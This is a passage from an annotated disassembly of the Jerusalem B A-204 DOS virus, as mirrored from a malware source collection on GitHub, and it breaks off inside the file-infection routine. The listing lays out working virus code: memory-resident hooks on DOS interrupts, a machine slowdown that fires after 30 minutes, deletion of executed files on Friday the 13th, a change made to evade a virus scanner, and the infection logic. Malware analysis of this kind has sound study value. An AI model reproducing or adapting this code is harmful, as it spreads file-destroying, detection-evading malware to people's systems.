mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-27 01:18:35 +00:00
977 lines
39 KiB
NASM
977 lines
39 KiB
NASM
Virus : Jerusalem Version B Variant A-204
|
|
Disassembled by : Righard Zwienenberg
|
|
Steenwijklaan 302
|
|
2541 RT The Hague
|
|
The Netherlands
|
|
Data : +31-70-3898822, V22,V22b,HST,MNP,CM
|
|
Voive : +31-70-3675379
|
|
FidoNet address : 2:512/2.3
|
|
Used Software : ASMGEN, DEBUG and D86-Disassembler
|
|
Date : 20 june 1990
|
|
|
|
Note : All Values are hex. If a value is followd by d (e.g. 30d) it means
|
|
30 decimal.
|
|
|
|
Note : This disassembly consists of two programs. The original program was
|
|
a dummy file (20h bytes long) containing 1Fh times 90 RET and 01h time
|
|
C3 RET.
|
|
|
|
0100 E9 92 00 JMP 0195 ; JUMP -> 0195h
|
|
|
|
0103 db 2A,41,2D,32,30,34,2A ; *A-204* never used
|
|
|
|
010A dw 00 01 ; Startaddress original program
|
|
010C dw 01 56 ; Startaddress-offset original program
|
|
010E db 00 ; Trigger for destruction (delete file)
|
|
; Always zero, but if it is Friday the 13th and the year is
|
|
; not equal 1987 this byte is set to one
|
|
010F dw 00 00 ; Storing place for original AX (read-only word)
|
|
0111 dw 20 00 ; Length of Original Program (0020h)
|
|
0113 dw A5 FE ; Storing place for original BX of INT 08h vector
|
|
0115 dw 00 F0 ; Storing place for original ES of INT 08h vector
|
|
0117 dw 60 14 ; Storing place for original BX of INT 21h vector
|
|
0119 dw 2B 02 ; Storing place for original ES of INT 21h vector
|
|
011B dw 56 05 ; Storing place for original BX of INT 24h vector
|
|
011D dw DE 0C ; Storing place for original ES of INT 24h vector
|
|
011F dw 40 7E ; Storing place for timer for 30 minutes trigger
|
|
; By init. set to 7E90h
|
|
|
|
; The following words are never used by the virus. The are used
|
|
; by a routine starting at 0398h which is executed when INT 21h
|
|
; is called with AH=DEh. This never happens in the code.
|
|
0121 dw 00 00 ;
|
|
0123 dw 00 00 ;
|
|
0125 dw 00 00 ;
|
|
0127 dw 00 00 ;
|
|
0129 dw 00 00 ;
|
|
012B dw 00 00 ;
|
|
012D dw 00 E8 ;
|
|
012F dw 06 EC ;
|
|
|
|
0131 dw 91 16 ; Storing place for original ES
|
|
0133 dw 80 00 ; Storing place for BX. Never read again
|
|
|
|
0135 00 00 00 80 00
|
|
|
|
0139 dw 91 16 ; Storing place for original ES
|
|
|
|
013B 5C 00
|
|
|
|
013D dw 91 16 ; Storing place for original ES
|
|
|
|
013F 6C 00 ;
|
|
|
|
0141 dw 91 16 ; Temp. storing place for original ES
|
|
0143 dw 00 20 ; Temp. storing place for AX
|
|
0145 dw 0D 1F ; Temp. storing place for ES+10h
|
|
0147 dw 5F 21 ; Storing place for AX
|
|
0149 dw A1 16 ; Temp. storing place for ES+10h
|
|
014B dw 00 F0 ; Temp. storing place for AX
|
|
014D db 02 ; Temp. storing place for AL
|
|
014E db 00 ; COM/EXE indicator
|
|
; 0 = EXE-File
|
|
; 1 = COM-File
|
|
0151 dw 30 01 ; Temp. storing place for DX
|
|
0153 dw 23 00 ; Temp. storing place for AX
|
|
|
|
0155 20 01
|
|
|
|
0157 dw 4A 00 ; Read Only!!! The code only read this word to substract it
|
|
; from AX
|
|
|
|
0159 D4 06 D4 06
|
|
|
|
015D dw 98 03 ; Temp. Storing place to store AX
|
|
015F dw 10 07 ; Probably startaddress of virus in mem
|
|
0161 dw 84 19 ; Never used!!! 1984h is stored here by the code
|
|
0163 dw C5 00 ; 00C5h is being read and put back later by the code
|
|
0165 dw 99 03 ; Temp. storing place for AX
|
|
|
|
0167 1C 00 00 00 90 90 90 90 C3
|
|
|
|
0170 dw 05 00 ; Storing place for file handle (BX)
|
|
0172 dw 20 00 ; Storing place for file attributes
|
|
; bit 0 = read only
|
|
; bit 1 = hidden file
|
|
; bit 2 = system file
|
|
; bit 3 = volume label
|
|
; bit 4 = subdirectory
|
|
; bit 5 = archive bit
|
|
; bit 8 = shareable (Novell Network)
|
|
0174 dw D5 14 ; Storing place for file date (DX)
|
|
0176 dw 99 83 ; Storing place for file time (CX)
|
|
0178 dw 00 02 ; 0200h=512d Used as multiplier/divider
|
|
017A dw 10 00 ; 0001h= 1d Used as multiplier/divider
|
|
017C dw 20 3E ; Temp. storing place for AX
|
|
017E dw 00 00 ; Temp. storing place for DX
|
|
0180 dw B9 42 ; Storing place for DX of ASCIZ-Filename
|
|
0182 dw 1A 9B ; Storing place for DS of ASCIZ-Filename
|
|
|
|
0184 db 43,4F,4D,4D,41,4E,44,2E,43,4F,4D ; COMMAND.COM
|
|
; May not become infected
|
|
|
|
018F dw 01 00 ; Storing place for variable-result of free-memory-scan
|
|
; 0000h : not enough memory available
|
|
; 0001h : enough memory available
|
|
|
|
0191 00 00 00 00
|
|
|
|
0195 FC CLD ; Clear Direct
|
|
0196 B4 E0 MOV AH,0E0 ; This is the check if the
|
|
0198 CD 21 INT 021 ; virus is already active
|
|
; in memory. INT 21h with
|
|
; AH=E0h will return AX=0300h
|
|
; if the virus is active.
|
|
019A 80 FC E0 CMP AH,0E0 ; AH>=E0h?
|
|
019D 73 16 JAE 01B5 ; Yes: -> 01B5h
|
|
019F 80 FC 03 CMP AH,3 ; AH<-03h?
|
|
01A2 72 11 JB 01B5 ; Yes: -> 01B5h
|
|
; INT 21h with AH=
|
|
; DDh,DEh,E0h
|
|
; are self-defined.
|
|
|
|
; SetUp for
|
|
; Executing original program
|
|
; We come here if an infected
|
|
; program is executed and the
|
|
; virus is already active in
|
|
; memory.
|
|
01A4 B4 DD MOV AH,0DD ;
|
|
01A6 BF 00 01 MOV DI,0100 ; Destination Index = 0100h
|
|
01A9 BE 10 07 MOV SI,0710 ; Source Index = 0710h
|
|
01AC 03 F7 ADD SI,DI ; Source Index:= 0810h
|
|
; At this place the original
|
|
; Program is located
|
|
01AE 2E 8B 8D 11 00 CS MOV CX,W[DI+011]; CX=20h (length original
|
|
; Program)
|
|
01B3 CD 21 INT 021 ;
|
|
|
|
; Here we come when the virus
|
|
; is not yet in memory
|
|
01B5 8C C8 MOV AX,CS ; AX=Code Segment
|
|
01B7 05 10 00 ADD AX,010 ; AX:=AX+10h
|
|
01BA 8E D0 MOV SS,AX ; Stack Segment:=AX
|
|
01BC BC 00 07 MOV SP,0700 ; StackPointer = 0700h
|
|
01BF 50 PUSH AX ; Store AX
|
|
01C0 B8 C5 00 MOV AX,0C5 ; AX = C5h
|
|
01C3 50 PUSH AX ; Store AX
|
|
01C4 CB RETF ; -> C5h
|
|
|
|
01C5 FC CLD ; Clear Direct
|
|
01C6 06 PUSH ES ; Store ES
|
|
01C7 2E 8C 06 31 00 CS MOV W[031],ES ; Store ES
|
|
01CC 2E 8C 06 39 00 CS MOV W[039],ES ; in storage places
|
|
01D1 2E 8C 06 3D 00 CS MOV W[03D],ES ;
|
|
01D6 2E 8C 06 41 00 CS MOV W[041],ES ;
|
|
01DB 8C C0 MOV AX,ES ; AX=ES
|
|
01DD 05 10 00 ADD AX,010 ; AX=AX+10h
|
|
01E0 2E 01 06 49 00 CS ADD W[049],AX ; Add AX (ES+10h) to 0149h
|
|
01E5 2E 01 06 45 00 CS ADD W[045],AX ; and 0145h
|
|
01EA B4 E0 MOV AH,0E0 ; AH=E0h (Self defined)
|
|
01EC CD 21 INT 021 ; CALL INT 21h
|
|
|
|
01EE 80 FC E0 CMP AH,0E0 ; AH>=0Eh?
|
|
01F1 73 13 JAE 0206 ; Yes: -> 0206
|
|
01F3 80 FC 03 CMP AH,3 ; AH=03h? Must be if the
|
|
; viruscode is in memory
|
|
; and interrupt 21h is called
|
|
; with AH=E0h.
|
|
|
|
01F6 07 POP ES ; Restore original ES
|
|
01F7 2E 8E 16 45 00 CS MOV SS,W[045] ; SS=ES+10h
|
|
01FC 2E 8B 26 43 00 CS MOV SP,W[043] ;
|
|
0201 2E FF 2E 47 00 CS JMP D[047] ;
|
|
|
|
0206 33 C0 XOR AX,AX ; AX=0000h
|
|
0208 8E C0 MOV ES,AX ; ES=0000h
|
|
020A 26 A1 FC 03 ES MOV AX,W[03FC]
|
|
|
|
; Here the A-204 variant
|
|
; differs for the first
|
|
; time from the original
|
|
; Jerusalem Version B virus.
|
|
020E 26 A0 FE 03 ES MOV AL,B[03FE] ; These two line have been
|
|
0212 2E A3 4B 00 CS MOV W[04B],AX ; changed in order
|
|
; to avoid being
|
|
; detected by ViruScan from
|
|
; John McAfee.
|
|
|
|
0216 2E A2 4D 00 CS MOV B[04D],AL
|
|
021A 26 C7 06 FC 03 F3 A5 ES MOV W[03FC],0A5F3
|
|
0221 26 C6 06 FE 03 CB ES MOV B[03FE],0CB
|
|
0227 58 POP AX
|
|
0228 05 10 00 ADD AX,010
|
|
022B 8E C0 MOV ES,AX
|
|
022D 0E PUSH CS ; Store CS
|
|
022E 1F POP DS ; DS=CS
|
|
022F B9 10 07 MOV CX,0710 ; CX=0710h
|
|
0232 D1 E9 SHR CX,1 ; CX >> 1 (CX:=0308h)
|
|
0234 33 F6 XOR SI,SI ; SI=0000h
|
|
0236 8B FE MOV DI,SI ; DI=0000h
|
|
0238 06 PUSH ES ; Store ES
|
|
0239 B8 42 01 MOV AX,0142 ; AX=0142h
|
|
023C 50 PUSH AX ; Store AX
|
|
023D EA FC 03 00 00 JMP 0:03FC
|
|
|
|
0242 8C C8 MOV AX,CS ; AX=CS
|
|
0244 8E D0 MOV SS,AX ; SS=CS
|
|
0246 BC 00 07 MOV SP,0700 ; SP=0700h
|
|
0249 33 C0 XOR AX,AX ; AX=0000h
|
|
024B 8E D8 MOV DS,AX ; DS=0000h
|
|
024D 2E A1 4B 00 CS MOV AX,W[04B] ; Restore AX
|
|
0251 A3 FC 03 MOV W[03FC],AX ; Store AX
|
|
0254 2E A0 4D 00 CS MOV AL,B[04D] ; Restore AL
|
|
0258 A2 FE 03 MOV B[03FE],AL ; Store AL
|
|
025B 8B DC MOV BX,SP ; BX=SP
|
|
025D B1 04 MOV CL,4 ; CL=04h
|
|
025F D3 EB SHR BX,CL ; BX >> 4
|
|
0261 83 C3 10 ADD BX,010 ; BX=BX+10h
|
|
0264 2E 89 1E 33 00 CS MOV W[033],BX ; Store BX. Why I don't know,
|
|
; the storing place is never
|
|
; read again
|
|
0269 B4 4A MOV AH,04A ;
|
|
026B 2E 8E 06 31 00 CS MOV ES,W[031] ; Restore ES
|
|
0270 CD 21 INT 021 ; Adjust Memory Block Size
|
|
; (SETBLOCK)
|
|
|
|
0272 B8 21 35 MOV AX,03521 ; Get original INT 21h
|
|
0275 CD 21 INT 021 ; vector
|
|
|
|
0277 2E 89 1E 17 00 CS MOV W[017],BX ; Store BX and ES of INT 21h
|
|
027C 2E 8C 06 19 00 CS MOV W[019],ES ; vector
|
|
0281 0E PUSH CS ; Store CS
|
|
0282 1F POP DS ; DS=CS
|
|
0283 BA 5B 02 MOV DX,025B ; DX=025Bh
|
|
0286 B8 21 25 MOV AX,02521 ; Set new INT 21h
|
|
0289 CD 21 INT 021 ; vector on DS:025Bh
|
|
|
|
028B 8E 06 31 00 MOV ES,W[031] ; Restore original ES
|
|
028F 26 8E 06 2C 00 ES MOV ES,W[02C] ;
|
|
0294 33 FF XOR DI,DI ; DI=0000h
|
|
0296 B9 FF 7F MOV CX,07FFF ; CX=7FFFh
|
|
0299 32 C0 XOR AL,AL ; AL=0000h
|
|
029B F2 AE REPNE SCASB ;
|
|
029D 26 38 05 ES CMP B[DI],AL ;
|
|
02A0 E0 F9 LOOPNE 029B ; No Flags: DEC CX -> 02A2h
|
|
; IF CX<>0 and not equal
|
|
; -> 029B
|
|
02A2 8B D7 MOV DX,DI ; DX=DI
|
|
02A4 83 C2 03 ADD DX,3 ; DX=DX+03h
|
|
02A7 B8 00 4B MOV AX,04B00 ; AX=4B00h
|
|
02AA 06 PUSH ES ; Store ES
|
|
02AB 1F POP DS ; Restore DS (DS:=ES)
|
|
02AC 0E PUSH CS ; Store CS
|
|
02AD 07 POP ES ; Restore ES (ES:=CS)
|
|
02AE BB 35 00 MOV BX,035 ; BX=35h
|
|
02B1 1E PUSH DS ; Store Registers
|
|
02B2 06 PUSH ES
|
|
02B3 50 PUSH AX
|
|
02B4 53 PUSH BX
|
|
02B5 51 PUSH CX
|
|
02B6 52 PUSH DX
|
|
|
|
02B7 B4 2A MOV AH,02A ; Get Current Date
|
|
02B9 CD 21 INT 021 ; DL=day
|
|
; DH=month
|
|
; CX=year
|
|
; AL=Day of the week
|
|
|
|
02BB 2E C6 06 0E 00 00 CS MOV B[0E],0 ; Set Trigger for deleting
|
|
; infected files to 00h
|
|
02C1 81 F9 C3 07 CMP CX,07C3 ; Is year 1987 ?
|
|
02C5 74 30 JE 02F7 ; Yes: -> 02F7h
|
|
02C7 3C 05 CMP AL,5 ; Is it Friday ?
|
|
02C9 75 0D JNE 02D8 ; No: -> 02D8h
|
|
02CB 80 FA 0D CMP DL,0D ; Is it 13th ?
|
|
02CE 75 08 JNE 02D8 ; No: -> 02D8h
|
|
; Yes: it is Friday
|
|
; the 13th and the
|
|
; year is not equal 1987
|
|
02D0 2E FE 06 0E 00 CS INC B[0E] ; Set Trigger for deleting
|
|
; infected files to 01h
|
|
02D5 EB 20 JMP 02F7 ; JUMP -> 02F7h
|
|
|
|
02D7 90 NOP
|
|
|
|
02D8 B8 08 35 MOV AX,03508 ; Get original INT 8h
|
|
02DB CD 21 INT 021 ; vector
|
|
|
|
02DD 2E 89 1E 13 00 CS MOV W[013],BX ; Store original BX
|
|
02E2 2E 8C 06 15 00 CS MOV W[015],ES ; and ES of INT 08h vector
|
|
02E7 0E PUSH CS
|
|
02E8 1F POP DS
|
|
02E9 C7 06 1F 00 90 7E MOV W[01F],07E90 ; Store 30d minutes into
|
|
; timer interrupt. This
|
|
; value is decreased by
|
|
; one 18.2 times per second
|
|
02EF B8 08 25 MOV AX,02508 ; Set new INT 8h vector
|
|
02F2 BA 1E 02 MOV DX,021E ; to DS:021Eh
|
|
02F5 CD 21 INT 021 ;
|
|
|
|
02F7 5A POP DX ; Restore Registers
|
|
02F8 59 POP CX
|
|
02F9 5B POP BX
|
|
02FA 58 POP AX
|
|
02FB 07 POP ES
|
|
02FC 1F POP DS
|
|
02FD 9C PUSHF ; Store Flags
|
|
02FE 2E FF 1E 17 00 CS CALL D[017] ; Call original INT 21h
|
|
; address
|
|
|
|
0303 1E PUSH DS ; Restore DS
|
|
0304 07 POP ES ; Store ES
|
|
0305 B4 49 MOV AH,049 ; Free Memory
|
|
0307 CD 21 INT 021 ;
|
|
|
|
0309 B4 4D MOV AH,04D ; Get ExitCode of
|
|
030B CD 21 INT 021 ; SubProgram (WAIT)
|
|
; Stored in AL
|
|
|
|
030D B4 31 MOV AH,031 ; AX=31[AL]h
|
|
030F BA 00 06 MOV DX,0600 ; DX=600h
|
|
0312 B1 04 MOV CL,4 ; CL=04h
|
|
0314 D3 EA SHR DX,CL ; DX >> 4 (DX=60H)
|
|
0316 83 C2 10 ADD DX,010 ; DX=DX+10h (DX=70h)
|
|
; Program Size in Paragraphs
|
|
; is 70h Bytes
|
|
0319 CD 21 INT 021 ; Terminate but Stay Resident
|
|
|
|
031B 32 C0 XOR AL,AL ; Clear AL
|
|
031D CF IRET ; Interrupt Return
|
|
|
|
; 031Eh is the new INT 08h
|
|
; vector. This routine is
|
|
; called 18.2 times per
|
|
; second
|
|
031E 2E 83 3E 1F 00 02 CS CMP W[01F],2 ; Timer decreased til 02h?
|
|
0324 75 17 JNE 033D ; No: -> 033D
|
|
|
|
; Yes: now 32 minutes are
|
|
; passed since infection
|
|
0326 50 PUSH AX ; Store Registers
|
|
0327 53 PUSH BX
|
|
0328 51 PUSH CX
|
|
0329 52 PUSH DX
|
|
032A 55 PUSH BP
|
|
|
|
032B B8 02 06 MOV AX,0602 ; Scroll box with coordinates
|
|
032E B7 87 MOV BH,087 ; (5h,5h),(10h,10h) two
|
|
0330 B9 05 05 MOV CX,0505 ; lines upwards
|
|
0333 BA 10 10 MOV DX,01010 ;
|
|
0336 CD 10 INT 010 ;
|
|
|
|
0338 5D POP BP ; Restore Registers
|
|
0339 5A POP DX
|
|
033A 59 POP CX
|
|
033B 5B POP BX
|
|
033C 58 POP AX
|
|
033D 2E FF 0E 1F 00 CS DEC W[01F] ; Decrease Timer-Trigger
|
|
; This now becomes 01h
|
|
0342 75 12 JNE 0356 ; If 0: -> 0356h
|
|
0344 2E C7 06 1F 00 01 00 CS MOV W[01F],1 ; Timer-Trigger set to 01h
|
|
034B 50 PUSH AX ; Store AX
|
|
034C 51 PUSH CX ; Store CX
|
|
034D 56 PUSH SI ; Store SI
|
|
034E B9 01 40 MOV CX,04001 ; CX=4001h
|
|
0351 F3 AC REP LODSB ; Load byte [SI] into AL and
|
|
; advance SI, done CX times.
|
|
; This is the routine which
|
|
; decreases the speed of the
|
|
; machine til 1/5th of the
|
|
; original. 32 minutes after
|
|
; infection this routine is
|
|
; executes 18.2 times a second
|
|
0353 5E POP SI ; Restore SI
|
|
0354 59 POP CX ; Restore CX
|
|
0355 58 POP AX ; Restore AX
|
|
0356 2E FF 2E 13 00 CS JMP D[013] ; Jump to original INT 08h
|
|
; address
|
|
|
|
; Here we come if INT 21h is
|
|
; called
|
|
035B 9C PUSHF ; Store Flags
|
|
035C 80 FC E0 CMP AH,0E0 ; AH=0Eh ?
|
|
035F 75 05 JNE 0366 ; No: -> 0366h
|
|
0361 B8 00 03 MOV AX,0300 ; AX=0300h
|
|
0364 9D POPF ; Restore Flags
|
|
0365 CF IRET ; Interrupt Return
|
|
|
|
0366 80 FC DD CMP AH,0DD ; AH=DDh?
|
|
0369 74 13 JE 037E ; Yes: -> 037Eh
|
|
036B 80 FC DE CMP AH,0DE ; AH=DEh?
|
|
036E 74 28 JE 0398 ; Yes: -> 0398h
|
|
; INT 21h is never called
|
|
; with AH=DEh. So the routine
|
|
; at 0398h is never used
|
|
; (seems)
|
|
|
|
0370 3D 00 4B CMP AX,04B00 ; Load & Execute ?
|
|
0373 75 03 JNE 0378 ; No: -> 0378h
|
|
0375 E9 B4 00 JMP 042C ; Yes: -> 042Ch
|
|
0378 9D POPF ; Restore Flags
|
|
0379 2E FF 2E 17 00 CS JMP D[017] ; Jmp to original
|
|
; INT 21h address
|
|
|
|
; Execute original program
|
|
037E 58 POP AX
|
|
037F 58 POP AX ; Restore AX
|
|
0380 B8 00 01 MOV AX,0100 ; AX=0100h
|
|
0383 2E A3 0A 00 CS MOV W[0A],AX ; Store AX
|
|
0387 58 POP AX ; Restore AX
|
|
0388 2E A3 0C 00 CS MOV W[0C],AX ; Store AX
|
|
038C F3 A4 REP MOVSB ;
|
|
038E 9D POPF ; Restore Flags
|
|
038F 2E A1 0F 00 CS MOV AX,W[0F] ; AX=0000h
|
|
0393 2E FF 2E 0A 00 CS JMP D[0A] ; JUMP -> CS:0100h
|
|
; This executes the original
|
|
; program
|
|
|
|
|
|
; This routine is called
|
|
; when INT 21h with AH=DEh
|
|
; is called which never
|
|
; happens in the code. I
|
|
; have to investigate it
|
|
; a bit more. Til then
|
|
; it remains without comments.
|
|
0398 83 C4 06 ADD SP,6
|
|
039B 9D POPF
|
|
039C 8C C8 MOV AX,CS
|
|
039E 8E D0 MOV SS,AX
|
|
03A0 BC 10 07 MOV SP,0710
|
|
03A3 06 PUSH ES
|
|
03A4 06 PUSH ES
|
|
03A5 33 FF XOR DI,DI
|
|
03A7 0E PUSH CS
|
|
03A8 07 POP ES
|
|
03A9 B9 10 00 MOV CX,010
|
|
03AC 8B F3 MOV SI,BX
|
|
03AE BF 21 00 MOV DI,021
|
|
03B1 F3 A4 REP MOVSB
|
|
03B3 8C D8 MOV AX,DS
|
|
03B5 8E C0 MOV ES,AX
|
|
03B7 2E F7 26 7A 00 CS MUL W[07A]
|
|
03BC 2E 03 06 2B 00 CS ADD AX,W[02B]
|
|
03C1 83 D2 00 ADC DX,0
|
|
03C4 2E F7 36 7A 00 CS DIV W[07A]
|
|
03C9 8E D8 MOV DS,AX
|
|
03CB 8B F2 MOV SI,DX
|
|
03CD 8B FA MOV DI,DX
|
|
03CF 8C C5 MOV BP,ES
|
|
03D1 2E 8B 1E 2F 00 CS MOV BX,W[02F]
|
|
03D6 0B DB OR BX,BX
|
|
03D8 74 13 JE 03ED
|
|
03DA B9 00 80 MOV CX,08000
|
|
03DD F3 A5 REP MOVSW
|
|
03DF 05 00 10 ADD AX,01000
|
|
03E2 81 C5 00 10 ADD BP,01000
|
|
03E6 8E D8 MOV DS,AX
|
|
03E8 8E C5 MOV ES,BP
|
|
03EA 4B DEC BX
|
|
03EB 75 ED JNE 03DA
|
|
03ED 2E 8B 0E 2D 00 CS MOV CX,W[02D]
|
|
03F2 F3 A4 REP MOVSB
|
|
03F4 58 POP AX
|
|
03F5 50 PUSH AX
|
|
03F6 05 10 00 ADD AX,010
|
|
03F9 2E 01 06 29 00 CS ADD W[029],AX
|
|
03FE 2E 01 06 25 00 CS ADD W[025],AX
|
|
0403 2E A1 21 00 CS MOV AX,W[021]
|
|
0407 1F POP DS
|
|
0408 07 POP ES
|
|
0409 2E 8E 16 29 00 CS MOV SS,W[029]
|
|
040E 2E 8B 26 27 00 CS MOV SP,W[027]
|
|
0413 2E FF 2E 23 00 CS JMP D[023]
|
|
|
|
; We come here if B[0Eh]=1,
|
|
; which means Friday 13th,
|
|
; year<>1987. This routine
|
|
; deletes the loaded file.
|
|
0418 33 C9 XOR CX,CX ; Clear all bits of the File
|
|
; Attribute
|
|
041A B8 01 43 MOV AX,04301 ;
|
|
041D CD 21 INT 021 ; Put File Atributes
|
|
|
|
041F B4 41 MOV AH,041 ;
|
|
0421 CD 21 INT 021 ; Delete a File (Unlink)
|
|
|
|
0423 B8 00 4B MOV AX,04B00
|
|
|
|
0426 9D POPF ; Get Flags
|
|
0427 2E FF 2E 17 00 CS JMP D[017]
|
|
|
|
; We come here each time a
|
|
; file is loaded with the
|
|
; load and execute call
|
|
; (INT 21h, AX=4B00h)
|
|
042C 2E 80 3E 0E 00 01 CS CMP B[0E],1 ; Is it Friday 13th,
|
|
; year<>1987?
|
|
0432 74 E4 JE 0418 ; Yes: -> 0418h
|
|
0434 2E C7 06 70 00 FF FF CS MOV W[070],-1 ; File Handle -1 ???
|
|
043B 2E C7 06 8F 00 00 00 CS MOV W[08F],0 ; Clear Memory-Available
|
|
; variable
|
|
0442 2E 89 16 80 00 CS MOV W[080],DX ; DS:DX -> ASCIZ Filename,
|
|
0447 2E 8C 1E 82 00 CS MOV W[082],DS ; Store DX and DS
|
|
044C 50 PUSH AX
|
|
044D 53 PUSH BX
|
|
044E 51 PUSH CX
|
|
044F 52 PUSH DX
|
|
0450 56 PUSH SI
|
|
0451 57 PUSH DI
|
|
0452 1E PUSH DS
|
|
0453 06 PUSH ES
|
|
0454 FC CLD
|
|
0455 8B FA MOV DI,DX ;
|
|
0457 32 D2 XOR DL,DL ; DL=00h : Take Default Drive
|
|
0459 80 7D 01 3A CMP B[DI+1],03A ; ':' at 2nd place in ASCIZ-
|
|
; filename
|
|
045D 75 05 JNE 0464 ; No: -> 0464h
|
|
045F 8A 15 MOV DL,B[DI] ; Get Drive Letter
|
|
0461 80 E2 1F AND DL,01F ; Get Drive Code
|
|
; 0 = Default
|
|
; 1 = A
|
|
; 2 = B, etc.
|
|
0464 B4 36 MOV AH,036 ;
|
|
0466 CD 21 INT 021 ; Get disk space
|
|
; BX=# of available clusters
|
|
; CX=Bytes per sector
|
|
; DX=Total clusters
|
|
|
|
0468 3D FF FF CMP AX,-1 ; No Sectors Free?
|
|
046B 75 03 JNE 0470 ; No: -> 0470h
|
|
046D E9 77 02 JMP 06E7 ; Yes: -> 06E7h
|
|
|
|
|
|
0470 F7 E3 MUL BX ; Calculate Free Space
|
|
0472 F7 E1 MUL CX ;
|
|
0474 0B D2 OR DX,DX ;
|
|
0476 75 05 JNE 047D ;
|
|
0478 3D 10 07 CMP AX,0710 ; 1808 Bytes Free?
|
|
047B 72 F0 JB 046D ; No: -> 046Dh
|
|
047D 2E 8B 16 80 00 CS MOV DX,W[080] ; Restore DX's ASCIZ Filename
|
|
0482 1E PUSH DS
|
|
0483 07 POP ES
|
|
0484 32 C0 XOR AL,AL ; AL=00h
|
|
0486 B9 41 00 MOV CX,041 ;
|
|
0489 F2 AE REPNE SCASB ; Check if filename
|
|
048B 2E 8B 36 80 00 CS MOV SI,W[080] ; is in UPPERCASE
|
|
0490 8A 04 MOV AL,B[SI] ;
|
|
0492 0A C0 OR AL,AL ; All UPPERRCASE?
|
|
0494 74 0E JE 04A4 ; IF so: -> 04A4h
|
|
0496 3C 61 CMP AL,061 ; AL<'a' ?
|
|
0498 72 07 JB 04A1 ; Yes: -> 04A1h
|
|
049A 3C 7A CMP AL,07A ; AL>'z' ?
|
|
049C 77 03 JA 04A1 ; Yes: -> 04A1h
|
|
049E 80 2C 20 SUB B[SI],020 ; Transfer filename
|
|
; into UPPERCASE
|
|
04A1 46 INC SI ; SI=SI+1
|
|
04A2 EB EC JMP 0490
|
|
|
|
04A4 B9 0B 00 MOV CX,0B ; CX=0Bh
|
|
04A7 2B F1 SUB SI,CX ; Return SI to start
|
|
; of Filename
|
|
04A9 BF 84 00 MOV DI,084 ; Start of COMMAND.COM
|
|
; filename
|
|
04AC 0E PUSH CS
|
|
04AD 07 POP ES
|
|
04AE B9 0B 00 MOV CX,0B
|
|
04B1 F3 A6 REPE CMPSB ; Filename=COMMAND.COM ?
|
|
04B3 75 03 JNE 04B8 ; No: -> 04B8h
|
|
04B5 E9 2F 02 JMP 06E7 ; Yes: -> 06E7h
|
|
|
|
; We come here if the
|
|
; loaded program is not
|
|
; COMMAND.COM
|
|
04B8 B8 00 43 MOV AX,04300 ;
|
|
04BB CD 21 INT 021 ; Get File Attributes
|
|
|
|
04BD 72 05 JB 04C4 ; If Error: -> 04C4h
|
|
04BF 2E 89 0E 72 00 CS MOV W[072],CX ; Store File Attributes
|
|
04C4 72 25 JB 04EB ; If Error: -> 04EBh
|
|
04C6 32 C0 XOR AL,AL ; AL=00h
|
|
04C8 2E A2 4E 00 CS MOV B[04E],AL ; Dummy=0
|
|
04CC 1E PUSH DS ;
|
|
04CD 07 POP ES ;
|
|
04CE 8B FA MOV DI,DX ;
|
|
04D0 B9 41 00 MOV CX,041 ;
|
|
04D3 F2 AE REPNE SCASB ;
|
|
04D5 80 7D FE 4D CMP B[DI-2],04D ; "M" ?
|
|
04D9 74 0B JE 04E6 ; Yes: -> 04E6h
|
|
04DB 80 7D FE 6D CMP B[DI-2],06D ; "m" ?
|
|
04DF 74 05 JE 04E6 ; Yes: -> 04E6h
|
|
04E1 2E FE 06 4E 00 CS INC B[04E] ; Dummy=Dummy+1
|
|
04E6 B8 00 3D MOV AX,03D00 ; Open Disk File with
|
|
04E9 CD 21 INT 021 ; handle in compatibility
|
|
; mode
|
|
; DS:DX : -> ASCIZ Filename
|
|
|
|
04EB 72 5A JB 0547 ; IF Error: -> 0547h
|
|
04ED 2E A3 70 00 CS MOV W[070],AX ; Store File Handle
|
|
04F1 8B D8 MOV BX,AX ; BX=File Handle
|
|
04F3 B8 02 42 MOV AX,04202 ; Move File Read/Write
|
|
; Pointer (LSEEK) with
|
|
; offset from end of file
|
|
04F6 B9 FF FF MOV CX,-1 ; CX:DX = offset in bytes
|
|
04F9 BA FB FF MOV DX,-5 ;
|
|
04FC CD 21 INT 021 ;
|
|
; DX:AX = new absolute
|
|
; offset from beginning of
|
|
; file
|
|
|
|
04FE 72 EB JB 04EB ; If Error: -> 04EBh
|
|
0500 05 05 00 ADD AX,5 ; ????
|
|
0503 2E A3 11 00 CS MOV W[011],AX ; Store Length of File
|
|
|
|
0507 B9 05 00 MOV CX,5 ; Read from a file with
|
|
050A BA 6B 00 MOV DX,06B ; handle BX 5h bytes into
|
|
050D 8C C8 MOV AX,CS ; DS:DX buffer
|
|
050F 8E D8 MOV DS,AX ;
|
|
0511 8E C0 MOV ES,AX ;
|
|
0513 B4 3F MOV AH,03F ;
|
|
0515 CD 21 INT 021 ;
|
|
|
|
0517 8B FA MOV DI,DX ; DI=DX=6Bh
|
|
0519 BE 05 00 MOV SI,5 ; SI=05h
|
|
051C F3 A6 REPE CMPSB ; Check first 5 bytes to see
|
|
; if a file already is
|
|
; infected
|
|
051E 75 07 JNE 0527 ; If not: -> 0527h
|
|
0520 B4 3E MOV AH,03E ; Close a file with
|
|
0522 CD 21 INT 021 ; handle
|
|
|
|
0524 E9 C0 01 JMP 06E7 ; Jump -> 06E7h
|
|
|
|
0527 B8 24 35 MOV AX,03524 ; Get original int 24h
|
|
052A CD 21 INT 021 ; vector. Stored in ES:BX
|
|
|
|
052C 89 1E 1B 00 MOV W[01B],BX ; Store BX of INT 24h vector
|
|
0530 8C 06 1D 00 MOV W[01D],ES ; Store ES of INT 24h vector
|
|
0534 BA 1B 02 MOV DX,021B ; Set new int 24h vector
|
|
0537 B8 24 25 MOV AX,02524 ; to DS:DX
|
|
053A CD 21 INT 021 ;
|
|
|
|
053C C5 16 80 00 LDS DX,[080] ; DS:DX=Filename
|
|
0540 33 C9 XOR CX,CX ; Get fileattributes
|
|
0542 B8 01 43 MOV AX,04301 ; Put File Attributes
|
|
0545 CD 21 INT 021 ; (CHMOD)
|
|
|
|
0547 72 3B JB 0584 ; If Error: -> 0584h
|
|
0549 2E 8B 1E 70 00 CS MOV BX,W[070] ; Close a file with
|
|
054E B4 3E MOV AH,03E ; handle BX
|
|
0550 CD 21 INT 021 ;
|
|
|
|
0552 2E C7 06 70 00 FF FF CS MOV W[070],-1 ; File Handle=-1 ???
|
|
0559 B8 02 3D MOV AX,03D02 ; Open File with
|
|
